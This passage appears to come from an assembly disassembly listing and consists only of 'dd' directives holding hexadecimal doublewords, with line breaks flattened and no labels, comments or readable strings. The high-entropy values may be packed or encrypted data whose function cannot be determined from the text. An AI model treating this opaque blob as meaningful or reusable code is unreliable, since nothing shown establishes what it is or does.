0D6DE7429h, 5E394BA7h, 96BB2FE5h dd 49A20111h, 0B577CF13h, 4F01429Eh, 5D64ED7Eh, 0B83FB2F1h dd 0CD77B168h, 7AE75A03h, 4A8C920Ch, 31A468E7h, 1F08E15h dd 0AB30FA01h, 5002E939h, 401DE5D0h, 5DDE7C75h, 0B07ED14h dd 0F1EE0158h, 96D549FCh, 0FD72028h, 0A32684E6h, 0B289E65Fh dd 6A7E0009h, 2F59EA28h, 0AD92D388h, 0FFDE0C0h, 0D8E5D180h dd 768D546h, 2F473618h, 264E2DEh, 0E92ED435h, 820F133Ch dd 57757468h, 74B96C96h, 5C8B40AEh, 241572A5h, 81B5BB1Bh dd 0A98C0FD9h, 0FBC78A38h, 0B08B9E69h, 427C1A1Bh, 0C376CCh dd 68535F54h, 0EAA41CDBh, 9D8CEA4Eh, 0D8546450h, 2402FDBDh dd 891DFA0Ah, 0CBACEB8Fh, 3B1D7853h, 0EC9CFC2Ch, 1A5F2FE5h dd 0EF30578Fh, 782E7776h, 2601E33Fh, 476C9737h, 0C9C2D274h dd 805787CDh, 193FAE8Ch, 22609F7Fh, 982F2D1Dh, 8388D409h dd 26D013ACh, 11B690FFh, 0E9184D50h, 0BB823F1Ah, 0CE680045h dd 0FEBD121h, 0B14E188Ah, 36A1E8ACh, 0C18801B9h, 443E2373h dd 0CC8FB593h, 0DE41B401h, 276BF03Fh, 6E2707B6h, 0C32CBE45h dd 0A039581h, 0AA5C65BDh, 6FCDC813h, 14DA2F2Ch, 310AA3FDh dd 0C47220F0h, 3947680Eh, 6CEB1305h, 524F2F9Eh, 6257A6CCh dd 0D396777Eh, 0B7B25807h, 961EC74h, 0D8E1523h, 5C434380h dd 0E9130E60h, 0D2A4AC0Ch, 4B6D982Ch, 0C464AC9Dh, 0A7BAEC58h dd 7E257C74h, 29D07A5Eh, 0DFCD10h, 0C5BFF381h, 0F0BDA9EBh dd 1DE02FDh, 0CAE90861h, 0A73951FDh, 53DFF3E2h, 0A146EC11h dd 836748E1h, 6B0C3E12h, 0DF92700h, 9B94785h, 2387308Ch dd 0F1B1A2DDh, 24D6B149h, 0F461646Fh, 57137394h, 43AF6F40h dd 7BC9E981h, 0F756220Bh, 0D53E181Ch, 6EB182D0h, 5CA28152h dd 59283B5Eh, 1FD122Bh, 0F631EC68h, 98127F5Fh, 87D891FBh dd 0A4D3D9DAh, 0A22CF108h, 172F0Bh, 52ECD733h, 46EB6A3h dd 0AB32B223h, 0F07A1A06h, 9EF61EB7h, 92B0B63h, 0DE87AA7Ch dd 0FD191149h, 0CDD96589h, 910F4DA8h, 2B07EF73h, 0C4B182D5h dd 95530699h, 0AE4B5B24h, 0B189D302h, 42BD408Bh, 0A4C171Ch dd 21300529h, 9CF92185h, 8B0F00C8h, 6195AA7Dh, 0AA0CBB1h dd 90F09581h, 20F69100h, 62AABE6Eh, 0E98809D4h, 59E99BF2h dd 81A9E1C3h, 20636841h, 1F2E4252h, 0F52DCE87h, 92CBFA17h dd 0EAED202Ah, 41F66348h, 15481D17h, 49146323h, 0B2D8E057h dd 25FE7CC3h, 0D948FA63h, 0E516EB90h, 430B5095h, 89965EDBh dd 74C40942h, 0E8E9534Ah, 3CF76174h, 2E5D5F55h, 3E0001CBh dd 0D6C565Ch, 0FD275DC5h, 174EF022h, 81468925h, 3EBD5588h dd 0E381BD25h, 8004D932h, 106FDEAh, 0C41DD4B7h, 5BC2A01Dh dd 52B5590Bh, 80358028h, 4CF682CDh, 0EC4ECFDDh, 0BF1E205Eh dd 0FE354502h, 600D9ADFh, 0DED9AD99h, 34C0EE4Bh, 0FA58E106h dd 0C508E808h, 74628FEh, 8ED0E305h, 0A08F6BC1h, 660235C8h dd 0FC277F68h, 3FB683F3h, 84930204h, 0F00581A5h, 8197D32Ch dd 0A7D12EE9h, 3ABA7099h, 4BA55080h, 9892C155h, 0D84FD42Ch dd 0D92F6828h, 5A03E60Dh, 322BF1BDh, 0EF1C4DCh, 0BC261B8h dd 0E3F75170h, 0FA0F91ABh, 1FE3A230h, 0A7EC3A0Dh, 4E0DF954h dd 0B9FBCF87h, 0D0A8A8D3h, 0F212C3D5h, 42F3481Ch, 33D2E4F1h dd 0B051483Fh, 9FB5ACE9h, 38880D51h, 1D73288Fh, 4BC9FE77h dd 0F57BAF1h, 0DC66099h, 0F85AF528h, 0D07302C5h, 933DE9EDh dd 0C829E068h, 98104CBFh, 64314FFFh, 686698C1h, 924B4926h dd 0AA4750C3h, 7B25606Bh, 0EB2E1312h, 0C4C3EA29h, 77AFB130h dd 0C6B70A6Bh, 0C10C3408h, 2A5642B5h, 0FA2217FAh, 7066D59Ch dd 0A37BBD07h, 0E98607A1h, 0ECD10605h, 3F736BAEh, 59968BF7h dd 5CA308BEh, 7302DB2Ch, 8437747Fh, 4A91B09Bh, 4CF7EA84h dd 786BB479h, 273CBB0Ah, 5704B2D5h, 0E2DAD029h, 7208B025h dd 0E7780B07h, 6E70DA57h, 0F7B089BFh, 0C6004396h, 72D36D82h dd 0A92CE1E9h, 0E72CE5AAh, 0A08C53CCh, 5AF77E95h, 1E2FC81h dd 2E50C9DDh, 0F52DA70Eh, 7E5E2586h, 0F4F5C72Ah, 0EE4DD647h dd 2A166F22h, 142BBDDFh dd 0F158AD68h, 0C47E00D3h, 0E9190C7Eh, 3602425Fh, 0AF62B368h dd 0F96FA613h, 98CB5A6Bh, 0E64081C0h, 0F4D99759h, 7F9B2662h dd 47244B5Bh, 5424B610h, 6C569D84h, 0AD701A0Ah, 0EA5B2885h dd 0E90C7F8Ah, 9650BA54h, 0F9D0F739h, 0B5180F31h, 8C2E612Dh dd 0BD9E4Fh, 0E00548CFh, 2FB82E31h, 5EB012E6h, 12B4C382h dd 80D86C99h, 0BC29F2h, 2523D988h, 13E097FDh, 0A16DFA3Ch dd 0C72E104Eh, 5CFC484h, 2DFBF788h, 0EF952062h, 639204F5h dd 0B3955027h, 15A22C21h, 7B128553h, 0CDF33504h, 0E1603033h dd 1EE5C288h, 0D368964Ch, 0C4F4D749h, 2F8F143Eh, 5AF207FEh dd 0DA84A61Fh, 0C7E548A9h, 4BD5AA18h, 0F312E0EDh, 1FFE56D1h dd 0EC8789E8h, 8878CC55h, 0B5987360h, 8BE9F6D6h, 501C5D11h dd 4D4B7309h, 9D027D1Fh, 0E1209ED2h, 505131A5h, 0DF8EEC1Eh dd 92F101AFh, 3139BE14h, 73ABCCCBh, 0BCB8FB4Bh, 1551E5A0h dd 2F75623Ah, 26FF1B9h, 0EC5527EDh, 0C24FE3F7h, 590881C5h dd 0E46BDDE9h, 4100C786h, 0B652EF28h, 16CEFEB2h, 0BCD0DEF6h dd 4C1A2CE6h, 0B01D1410h, 77B1DF32h, 0B3CD73Bh, 30083DF6h dd 2F96A05Eh, 39D478B2h, 16F11092h, 0B6A5768Bh, 788A2FD9h dd 9C97D908h, 85F9EA53h, 60706494h, 0C0BDD601h, 503F80Fh dd 0A709A68h, 56F5F96Eh, 0C4D9539Fh, 0AB94E8Fh, 601F9B49h dd 1FF6E03h, 0D71192F9h, 0E9843145h, 0A92AFC2h, 0D27561CEh dd 0D2C8EC7Bh, 0A41D1810h, 0D568A0BAh, 0D2562C5Eh, 6584F5B8h dd 184214F7h, 0F32384FAh, 1C61704h, 0E080FFE7h, 2D17FEC2h dd 0BAD61619h, 50B508A0h, 9DDC79AEh, 586CBA71h, 25C99671h dd 0A75590B2h, 0E3ACD462h, 0D497691Dh, 6304C5Eh, 25EC3502h dd 2F628B4Eh, 5A6892C8h, 0A18C0D4Fh, 89D529Bh, 2ADE231Ah dd 96BCD756h, 0B298EB6Dh, 594217E6h, 793BBC26h, 5B040597h dd 0E7CC88EAh, 98179Ah, 6C257676h, 9415C0Dh, 37F9CB9Fh dd 0A4E25067h, 85CA54D1h, 0C7CC28EBh, 1E1C5F21h, 6DC3DFE3h dd 614E05FDh, 2D0580ECh, 91C85A3Bh, 2BD5BBA0h, 462C69E3h dd 0B6BD8137h, 3A62470Eh, 5EAB1B80h, 547F4832h, 7888A45Fh dd 73C45B05h, 0CB09EF29h, 3D5F9B85h, 4C930E50h, 0D15F45A3h dd 8431AB01h, 85042B7Ah, 232ED39h, 78DD0C19h, 0A6717B09h dd 0AF70169h, 7F2108A0h, 4F3DBAECh, 5BF6946Bh, 8958B831h dd 89121E3Ah, 0BB5D5F01h, 29360E8Fh, 1B6DA69h, 0B19E16Dh dd 70A9E7Dh, 3876C940h, 48D13B2Fh, 2573A2E9h, 2A02D14h dd 580248E3h, 58AE32BFh, 0DF080117h, 291EA360h, 0E910846Ch dd 0B3EEEB53h, 21EF4AFDh, 195DAC5h, 1C202AB5h, 3B588117h dd 750B3EEDh, 52446293h, 33D120B6h, 0BEB5E900h, 5A72F7B6h dd 5A23BD32h, 9D4ADACBh, 0FE774782h, 91BC2DCAh, 0BD4AF490h dd 0F4F7BDD2h, 123BEA7Eh, 1F83CA12h, 89BD7BB4h, 0F6C4FEFBh dd 0FDB501CFh, 933FF8E9h, 6D523751h, 129EEDE0h, 0AF93A7A9h dd 0FC2AAEF1h, 0EC8D4EE5h, 0D55FD2DBh, 6424D9C7h, 5589C42Ch dd 6640855Bh, 597E8736h, 9BC9A30Eh, 0C2099D5Ah, 858B327Ch dd 94810A76h, 243E4C5Bh, 445C82FFh, 896443E0h, 199EDD7Fh dd 9D1D3480h, 90BA5257h, 516C09E8h, 8225429h, 6D778520h dd 3077A593h, 85419E1Eh, 13FABF17h, 319EEBB4h, 0A7EF057Dh dd 0ED3B6075h, 5E0840CEh, 212A2098h, 5C4A3EA3h, 424ED6BEh dd 0CC7EB12Ch, 5BACC03Ch, 13008E53h, 26ACB9E9h, 0BF64AB4Ah dd 0EFECABAh, 52C28852h, 0FA44D21Dh, 19A8B4E9h, 9ED35B27h dd 1202786Ah, 7F49B365h, 6981A6Bh, 3009CE60h, 5A7243E9h dd 3C4A3F4Fh, 16FA3DA7h, 259EA38h, 0C3E967E6h, 0A57E7198h dd 0FC32F285h, 0B393CE04h, 0C9F828BFh, 0E710440Bh, 4CCC753Dh dd 4A4ED503h, 0E9CD09AEh, 328EB118h, 7EF1AB5h, 0E284B816h dd 6286056h, 106C1341h, 2A91C5Dh, 8920A221h, 2B1489E1h dd 79BE8217h, 53F82A07h, 5526E1E6h, 0E2176454h, 0D19DC35h dd 6FCCB328h, 0FE91613h, 0AE3DBA97h, 50886234h, 955BD8C7h dd 0E29F56C6h, 0A9254115h, 0CA026801h, 868B3159h, 501EA3B7h dd 80038A76h, 5046FA5h, 0A0B0986Ah, 1DB624F5h, 64E9AC58h dd 2D7AFB3h, 91141216h, 0F9E85144h, 0BB62E36h, 0E5C1E0FBh dd 1816BF2Bh, 84AA8D0Fh, 539CEE29h, 27369AB5h, 0D696EB8Bh dd 40685200h, 0E9095C76h, 0B5C74E05h, 0CCB1303Dh, 6F60D9BFh dd 44B67BA5h, 30457680h, 7643B5BAh, 0CECB0ACh, 2E41130h dd 9FC0ED30h, 5B1EE0F7h, 0B30CC007h, 291F0144h, 2FF4F85Ch dd 6F1477DCh, 6085906h, 1334472Fh, 0E8987BF1h, 54AB10A4h dd 0F5685E25h, 5280E39Eh, 3FDDAC51h, 8498EDB7h, 81FDE1ACh dd 91D57EF3h, 5F1332B3h, 0A298E256h, 26B9C05Ch, 0D4C1821Bh dd 6BC03155h, 0D8AF3B17h, 713C9E9h, 660B2CC1h, 9F0253DDh dd 0B0B6135Ch, 0AE1735CDh, 9305C158h, 42E16883h, 2598A76Bh dd 0C47163EFh, 6CC70CC1h, 0FA35F8F4h, 42CA4A33h, 0FD8851EBh dd 6B4FD279h, 586856EAh, 0D389FC01h, 0B62F6149h, 28A0532h dd 0E2FA7741h, 0DFF71465h, 4C4E01CEh, 2DE90D74h, 1DB51C3Eh dd 6CBECED0h, 95CAEE12h, 0BBB1257Eh, 0F90421E4h, 2922A52Bh dd 0CEC189FFh, 40E2E938h, 0B70153BFh, 19EF8093h, 765DF828h dd 7D60C8EDh, 0ED801B29h, 0F88133AFh, 30E5315Bh, 9895F30Ah dd 802F1C8Dh, 2D03E829h, 3F9F5F1Ah, 0D5F9FA5Dh, 6EF7EBE9h dd 14FA7AF0h, 9E0FAE23h, 2D605E55h, 0C0BD0455h, 0BC2F511Dh dd 115213FAh, 0E5B9BD04h, 8EA13DACh, 76227E37h, 4AE4BC3h dd 8A0F91D6h, 29BED416h, 0D2CBE0EAh, 0E9405805h, 0B7BACFDEh dd 71AA5F2Ah, 7BE6B9ACh, 880C91E3h, 0F32F15A5h, 4CCDFB14h dd 954171E0h, 5A78DD28h, 0EAB91647h, 0C742DB69h, 1EB3009Eh dd 2803CEB0h, 0C0FE5BD8h, 0F52CA8F6h, 5AB20C52h, 1154D030h dd 18BE7340h, 84D60747h, 0ED124EEEh, 6C00FA37h, 6AAC3485h dd 0E9F70B29h, 536B24D8h, 0E8656EC1h, 449F9B5Dh, 5AF1F05Ah dd 2D65A4E4h, 0BA7D85B7h, 2D545648h, 54A59A75h, 0ACFD5880h dd 448804BCh, 69ED81D8h, 7AA10B16h, 0C29785C0h, 0AE3AD3A7h dd 0CBBFDF56h, 5DF50991h, 18D00242h, 6BDE7E08h, 0A220E31Ch dd 9FCB0C3h, 1B8709A1h, 0AF1D85D7h, 0F624DFACh, 0F6208ABh dd 46005712h, 64C5446Dh, 5BD30905h, 21847C24h, 483AB8C2h dd 87137821h, 3470DB90h, 36BBF5Dh, 2978C26Ah, 0DC045FFDh dd 0E2444E38h, 0E9FB28BFh, 849A0B24h, 7E2C181h, 7A20EAD1h dd 4F462D66h, 49FD9940h, 0E91233F4h, 2549BB25h, 0A1D016FEh dd 8844DC8Bh, 9F80E9AEh, 1D853517h, 0B5CDE2BEh, 2BCBCDBEh dd 5A79658Eh, 0D881E8C9h, 5C192886h, 26275C58h, 9A502ED4h dd 0D668889Bh, 0CA8C535Eh, 1BCDF450h, 4267067Bh, 0EE200CFAh dd 58222172h, 0AD5A1C62h, 6B013B17h, 0A4D18EECh, 78F27678h dd 9E74EED6h, 6773EE00h, 30E956EFh, 0C3679715h, 35494166h dd 0D59E1052h, 39FE680Bh, 4A54EFB0h, 2760FF82h, 0F764EFF8h dd 0EBE2C848h, 0A1F9E87Eh, 0F32A28EDh, 775F1022h, 0FBFCC441h dd 4C47B28Eh, 601D6D7h, 90DF82Bh, 4F65FCDFh, 4ABFD7A7h dd 2DCE8FABh, 82DE715Ch, 6B9430C3h, 52934FC5h, 344560FEh dd 3613AB01h, 6DA0A8E9h, 8CDB9D58h, 9516D24Bh, 4246E683h dd 0D9EB9B02h, 4C3BA31Bh, 40BE0019h, 8120CE15h, 57168DF6h dd 0BB117EC3h, 0C92D0F9Ah dd 89D94750h, 280684DFh, 2A1FCDAAh, 45CA8F80h, 742044Ah dd 0FAE2E4E9h, 6809365Eh, 38187DBCh, 0DCB55953h, 0C724BD9Bh dd 6F721A28h, 0C37AE877h, 666E1A13h, 0C8E40C38h, 0E12DDF8h dd 5E000D47h, 18672E97h, 5BD93929h, 80D0E9A7h, 5E302212h dd 0E82D12FFh, 0AF6AD8F6h, 7BFE83B0h, 902C5320h, 573F0FB3h dd 0FC64317Eh, 0EDA6FAB5h, 2855A15Ah, 8C13A47Bh, 0A26BB0A1h dd 8EED5AD2h, 1CC1FAE5h, 18F02BFAh, 0EF058001h, 78DA7539h dd 72DD028h, 0C11444EBh, 3BBB4523h, 950BDCCCh, 82F5A20Bh dd 9B96D0Fh, 45932575h, 0B84EBFECh, 8CEAB5B4h, 6D70489Fh dd 4516F9BFh, 0C184943Bh, 29AB989Dh, 4AB53936h, 0CBF541C1h dd 63493DCh, 12E95B8Ch, 0BA0527F7h, 0BF11FCEh, 94AB61C2h dd 715EBDA7h, 0EA6BE985h, 0D383F05Dh, 0DA45673Dh, 25E05E66h dd 1C248CFBh, 27BACC25h, 9D4E3C01h, 49F1C18Bh, 5B6800A7h dd 95C69705h, 0BD677413h, 6E6EB00h, 0C4574668h, 24D8A51h dd 8F5FFB29h, 990544EDh, 0D58165D3h, 0DCE446FCh, 714E18AAh dd 43106E40h, 0B0F734D3h, 0CD92865h, 0F61E5B12h, 0C2731012h dd 0ECA8813h, 0FE161742h, 2FE97B7Ch, 0A75FB7DFh, 0F3046AF0h dd 49C38003h, 0C332EB99h, 0E9EA10B6h, 1586594Ah, 0ABF05F1Ah dd 1666260h, 0E93E0C2Ah, 0EA6F9D33h, 0F6C1729Dh, 0BEB04A32h dd 0BB9F32Ch, 386C46DDh, 62D99A80h, 0CB031FDh, 222F3D0Bh dd 7018007Dh, 0FA308749h, 5BE924F1h, 5558895Ah, 599BFA82h dd 0F9D98803h, 397B0FDAh, 0BE7725A9h, 99232032h, 30AD0BD9h dd 569DF6ECh, 0BF2F623Ah, 2394620Eh, 0C7A1C0F4h, 0CF810201h dd 5E34990h, 94C4B080h, 0FAFA09EEh, 0AD5B3390h, 4BAD22AAh dd 0C1200E40h, 36F8E15Bh, 788CC219h, 13526041h, 25E94640h dd 8924021h, 0A3D6CC82h, 0BCEC0C0Ch, 0BEFE2556h, 0E52DF153h dd 8C71A83Fh, 412AF0C2h, 0E687E642h, 6090D918h, 4F39199Ch dd 0BA614A43h, 0A606FDCEh, 4C9AAC28h, 64EF985Fh, 0A1DC016Fh dd 29027318h, 815E2776h, 3054EC29h, 30A80F21h, 0F60982C2h dd 3D868248h, 88141B0h, 708C788Fh, 0AD61FB7Bh, 773AE7A7h dd 8FED63E5h, 56FE53h, 3F3D694Eh, 390A683Eh, 140DE42Ch dd 0B0624B2Fh, 5F8BBB6Fh, 901BB33h, 0BD3499C3h, 0BAA8866Eh dd 2A980884h, 0EC57EE40h, 8780554Fh, 5D9A8352h, 5FDEC886h dd 16B1EF05h, 92040818h, 0F791EECDh, 0B9BC5B9Fh, 645DE384h dd 9E0FAB44h, 0DD20E955h, 6DC4D4EAh, 0F0097C95h, 580E67Ah dd 8E19123Dh, 3F27EADBh, 4F60F2h, 291305BBh, 0EE87961h dd 0FF8DE07h, 0C2E02C80h, 97054795h, 0D6A2FB89h, 0C07DE188h dd 83479B11h, 13BDAABCh, 10E9A798h, 0E29D6160h, 5B9E71E5h dd 9240A811h, 0E9E183F9h, 3A003FFAh, 5A2D5B5Fh, 1833486Eh dd 705F814h, 0B5963540h, 68505000h, 435821A3h, 91C21AB0h dd 0ADB5DB16h, 0E851488Bh, 0F926E9C1h, 63D15A02h, 0E5A8B644h dd 33C68001h, 0A59E67E9h, 2CAA9660h, 1356D821h, 5163FBCFh dd 0F5F3035Dh, 6025767Eh, 0A2F14820h, 178B8EBDh, 0C5498BFh dd 0B05DC683h, 0A4694B6Fh, 820BCA43h, 0F4567201h, 500A03EDh dd 9E52143h, 3202C2CEh, 467D7EA2h, 887D9878h, 0B797918Eh dd 810058E4h, 2C0A9CF2h, 4F830F7Fh, 0E898166Bh, 294BA1DBh dd 142E9507h, 0D532A4CBh, 48F7EA45h, 4A2968CAh, 739F3249h dd 6DED8B57h, 0DA2B0C06h, 8402C775h, 31C88CF5h, 0EDF790FEh dd 9E0580F0h, 47454112h, 275EED03h, 9A82C43Ch, 0FDF6B8h dd 4072CACh, 0D8762836h, 805B68E8h, 0B517A0B3h, 0EF331335h dd 0C5871489h, 427B2F1h, 4534AF20h, 0D3B4B117h, 22F13505h dd 0D2AF876Ah, 0EBCA62E9h, 4289F1FDh, 54048905h, 0B7B771BAh dd 0B80A8122h, 2D0675CDh, 4003C76Fh, 733E7ECBh, 0AF8B05BDh dd 74BF71D0h, 62852D34h, 279026F8h, 0B99B1330h, 3B22A9C7h dd 7F46EFh, 4C874AFAh, 7AE850Fh, 6DCF25C0h, 73183F15h dd 56B862E9h, 0E055C1C6h, 0E11DC3F0h, 5668E202h, 3BC073E7h dd 0BAEE5AC2h, 407CB743h, 0A03FD651h, 0D05FE911h, 525A8404h dd 0A0D0BDECh, 9A753F04h, 98DDAA0Fh, 9C616B41h, 4CF77064h dd 0E95BA0D9h, 3C854C68h, 0AA8218F0h, 4CEFC1B0h, 0A84FAB02h dd 6B3C554Ch, 0A8D1F5D4h, 0B800CDFEh, 2C5F368Dh, 6E4708h dd 0D9A313BDh, 0D57C2940h, 0B3483430h, 2F45012Dh, 0C2817753h dd 302A08D0h, 0F9416D7Ah, 0BF8B6AD4h, 404239CAh, 7F5C9769h dd 0EA203A9Dh, 0C61C050Bh, 11FE015Eh, 0CE310880h, 64FA5FF4h dd 8760F305h, 398E0D0Ah, 0DC1B5043h, 40F541C4h, 5F1C1578h dd 0CF465C97h, 0D18CA413h, 41620316h, 4D40BD53h, 3AF46852h dd 0C646626Bh, 23643B13h, 0D3A53D31h, 5A7DF69Eh, 19C4B8D2h dd 4631170Fh, 63AE7DDh, 9EEAD114h, 39823830h, 128D37F2h dd 95677D2h, 8A025B06h, 0E5E5F1AFh, 6C7963Dh, 322B5591h dd 4F020D38h, 836D7733h, 0D4588EC2h, 660BC998h, 9BE3A7E9h dd 0C06C8871h, 0DE0362E8h, 0EA4C49C3h, 50E9BD1Ch, 0A6455B67h dd 781A09E0h, 0C6762B0Bh, 0C54D0694h, 1C6474F2h, 1033A2EBh dd 280FE6B5h, 0ED1E58E1h, 8AB93680h, 58B7D75Eh, 4A5741Eh dd 8C0F6BFAh, 0BA439587h, 413F797Ch, 0D9377F4Fh, 1F868ABFh dd 853A2E03h, 670C042Fh, 0EA3FD043h, 0C8493593h, 25895842h dd 105559CBh, 1BD55DEh, 48051560h, 3B0704E9h, 0C692C199h dd 0FB3EC4A5h, 0E13F883Dh, 24817E79h, 5B0027EFh, 204E1668h dd 0E8F2BC37h, 147357BBh, 7D646809h, 29AF0D30h, 407D1C12h dd 251CF0h, 2AC05EFh, 0C672BC35h, 0DC04124Eh, 99C0FA29h dd 595A1F2h, 43E9F183h, 12E09A6Ch, 0A3AAB461h, 4A012687h dd 7A23FC27h, 15247C57h, 8913B435h, 3CE88DE8h, 978F17F4h dd 69BDE452h, 0A580038Ah, 0D9A99357h, 317A5379h, 9BA1A0h dd 302F3DBDh, 2B436F7h, 7B4B8A69h, 5A3987D0h, 5B89F440h dd 0B96328EFh, 3E3DFC1Ah, 972AFFC4h, 4BC410CEh, 69D10988h dd 1F5C6C85h, 50457652h, 0A65FD3E9h, 60EEC874h, 685DEE84h dd 0F12A7C2Dh, 75E9411Ch, 10FB293Dh, 0DB48C11Ah, 8058EA2Fh dd 0E978AA94h, 486B9A4Ch, 6F78F456h, 0CB8ADC6Ch, 0EA8889E0h dd 0AA258984h, 59972B31h, 74162776h, 499F7D7h, 0F66F3568h dd 0F8D895FEh, 0BE1968Fh, 0C378EB2Ah, 68BB409Ch, 0E9104C2Ah dd 92A86325h, 0B726B493h, 78883045h, 915B1264h, 2EAA8C6Dh dd 548094B2h, 68713622h, 960AEE24h, 981B50C6h, 74E21DEEh dd 0A756A538h, 0DE401B16h, 231D31BDh, 35457B19h, 0FC731F7Ch dd 0D4A3DA4Ah, 6D266FFh, 84B71AA0h, 80AF44B6h, 10B1C73Dh dd 52401618h, 5AA60489h, 581514C8h, 0A2F7738h, 0D4187701h dd 0DE4EE0E9h, 5A6143D0h, 65C8A1D6h, 315D0B85h, 4F1931F5h dd 1A22A8Eh, 8FED819Dh, 6F542722h, 801D794h, 0B39FE95Bh dd 4FEFE050h, 0C4CB0450h, 0AB5FFB09h, 0C54CBA18h, 61CD306Ch dd 0E4437A0Ch, 0C301BC98h, 3B9A37EFh, 4C8BD901h, 0C6F4745Ch dd 0EB9D9872h, 0EE061603h, 102CE802h, 0AA4EEDDBh, 7FD3DB26h dd 8D682EF7h, 0AA07CF8Dh, 0C77F0930h, 0AE341293h, 916F7A7Dh dd 5CC252Eh, 418F9A00h, 10D2B2Ah, 29DD74C2h, 3EF4E991h dd 4D681E02h, 2D454C32h, 7E8F05Bh, 38BDADBBh, 1B35336h dd 5BDD8830h, 0CD02E5C0h, 79B03BEDh, 4AC34908h, 0F4209E81h dd 0A8728B6Ch, 50F8FCABh dd 31394058h, 8D035C2h, 3CCB500h, 55E9C9C8h, 0EC00882Fh dd 50612842h, 0FA84FA6Bh, 59132618h, 2838E7EBh, 5AF72800h dd 39805966h, 0D0CCABCFh, 0E9FD0660h, 0A5BAF373h, 3B3DFB31h dd 217F35A4h, 44B8D21h, 19E32EEh, 2696DA5Fh, 977C708Eh dd 0D8FE00C8h, 0C148943Bh, 0D002EA27h, 6E7400B0h, 0D0290645h dd 6CB6FEE9h, 3A862500h, 240F67D2h, 8001AB8Bh, 3DE8D52Dh dd 0C65889F3h, 91E04ECFh, 7DC46B44h, 644FA4DEh, 9610E012h dd 208BE32Eh, 52E42096h, 0E4E051Eh, 682D1680h, 0EA2CC424h dd 43471F59h, 4AF1C02Eh, 0E95745A7h, 0F1087B27h, 0A9F6CB41h dd 5C0C0179h, 4987DCB7h, 598E9B0Ah, 3336C568h, 5F5227C6h dd 33E90330h, 0C6877665h, 0EF3896AAh, 2662A4B0h, 0D60E9549h dd 0ADBF6FD0h, 0CE117F93h, 0C5034762h, 689B0DC2h, 2FF2EED9h dd 69677FCDh, 527D6037h, 2D794CBAh, 21C08092h, 3D05A468h dd 1E2764F8h, 0FE437405h, 27681788h, 6FF1372Ch, 5555748Ch dd 93B260B3h, 5F3C71C3h, 33D3A4Ch, 2F685602h, 0CF291059h dd 850F0B6Dh, 69FF6852h, 15880E6h, 0DD368B9Fh, 0B1B14365h dd 0EB048D32h, 0BF334AE1h, 0FE9A6712h, 0BBF1238h, 4C555CA5h dd 821809D7h, 64D403CAh, 705B001Eh, 0C5290F88h, 0ABFE5158h dd 7C70A44Ah, 3168595Bh, 31B91BB7h, 545701BAh, 9B9C1CDCh dd 46452593h, 386C5A19h, 70E90F8Ah, 477D25CAh, 81740818h dd 7252A73Dh, 55D7F609h, 13FCD7C7h, 38317AE3h, 0AA5F4EAFh dd 685A7F20h, 0F64B4A89h, 0EB444B37h, 0E3AEB63Ah, 69977CA9h dd 0A3DCF14Ch, 75C6FFC9h, 292FB03Eh, 20D8C447h, 5F76D63Ah dd 6CBD1669h, 0D0BE55AEh, 139E8E7Ah, 9D5D27E9h, 0C157EF56h dd 0BE3B94EAh, 680E8E8Eh, 0BB130ECDh, 0E90D278Eh, 0CD0A88A0h dd 0B397DCC6h, 0A45C4CCBh, 0D180577Eh, 5F432C49h, 217CA142h dd 0FE85CFC7h, 0FC4F90CEh, 244C883Ah, 0A9250854h, 72C3800Fh dd 0D88DB706h, 2E10BD43h, 23705B68h, 9461D9BDh, 9D209656h dd 9E76F8BDh, 0BA227A04h, 0EBA985E9h, 0CEA0980h, 0F0B59868h dd 736D0259h, 0D30128F2h, 2BAF7040h, 76BB5380h, 0F0C275Fh dd 0E1C3B6E8h, 3B506413h, 85E8FD0Eh, 78C25DD5h, 9F85F04Fh dd 86E9F060h, 0A6A3A25Bh, 96DE5932h, 2BD46801h, 0E0B8466h dd 0BB82D5E0h, 0D3F6C84Fh, 0E4FBFD65h, 7C016BDDh, 840F6FFCh dd 2C7FE3ECh, 18418D14h, 3178C13Ah, 2DEC300Eh, 30040A02h dd 0EA37E962h, 0B2D1FDF7h, 1E7FDA08h, 201041B9h, 20CA2933h dd 8080D9E7h, 30EB13F6h, 0B63303F0h, 0C13282Bh, 0C0C472E9h dd 0FB46C4EBh, 0D3873A81h, 8828461h, 0DF4EE955h, 5F081CFAh dd 13021879h, 0E350B507h, 82B980B1h, 0A93603CEh, 0A8EA7F77h dd 0BFE90801h, 0ACEE5539h, 0D9902F48h, 6D6885EFh, 0C446EC7Dh dd 0FF343795h, 9E825EE2h, 0CCC0D86Ch, 576408E1h, 2D005BD0h dd 3D62375Dh, 11602998h, 7BC1BF14h, 47330273h, 0D8A7890Fh dd 3890C454h, 59585B0Dh, 12CDD11Ch, 2DBDF0E5h, 16DFEE83h dd 0E6482089h, 538246BCh, 0DF036B66h, 5AB0D5F0h, 84E94A58h dd 57B81757h, 632ABF12h, 96825623h, 72AA6260h, 0A0761895h dd 618E0065h, 3559C809h, 852E7A2Bh, 4527A9FBh, 0E53D9EE4h dd 0BC605492h, 0C53B0B5Dh, 46EE1F07h, 5DD68F0Bh, 0EEC392A5h dd 99E95AD1h, 9BB3364h, 61BA4B23h, 0D1F1586h, 991333D7h dd 0DAC483A2h, 0A8F217BDh, 4183CC4h, 1FC1FD28h, 34388178h dd 0E17E1785h, 6CB12BD8h, 0EDD90175h, 317E0D29h, 0E873B638h dd 67282F59h, 4FB09F66h, 803BBAB3h, 51BD58F3h, 4BBD3465h dd 0F740A241h, 60C7C607h, 75F378CCh, 3E58732Ch, 0F7FB25B8h dd 45827038h, 1D0BCDACh, 0FF371C2Ch, 0B62E8E00h, 25B84955h dd 0FD40985Ah, 0E2882870h, 0B8F25021h, 383C0EEAh, 0D6290147h dd 5600C909h, 184A498Fh, 79DA892Fh, 0DD300E9Bh, 3008EB4Dh dd 6EFF8889h, 0C7FA5EC4h, 0F5D0A91Bh, 82E6F29Fh, 4FA077CDh dd 3D5832ABh, 0F13B9C90h, 4E3C09F0h, 5E220B21h, 0AFDC88A1h dd 96D48069h, 95755A09h, 0FD2C0B55h, 0F325DE9Ch, 52B37497h dd 7A88D648h, 6C58719Fh, 99B7B21Ah, 103C9F01h, 5DE83104h dd 7D0BFD05h, 255D68FDh, 0B5CCF868h, 0CB50EDFCh, 0ADEC9D59h dd 0DF0D146Bh, 5D5ACE00h, 0D07D215Fh, 4A6C905Dh, 6C80660Eh dd 0EC960601h, 0E9AA16EBh, 18D0FA0Ch, 3D72391Eh, 0F8CA8B56h dd 48C2B4BBh, 71BD0022h, 725FB526h, 8B4C6E91h, 6C4FBB88h dd 52ED54A5h, 0D66AE20h, 1599261Fh, 0C6C293Eh, 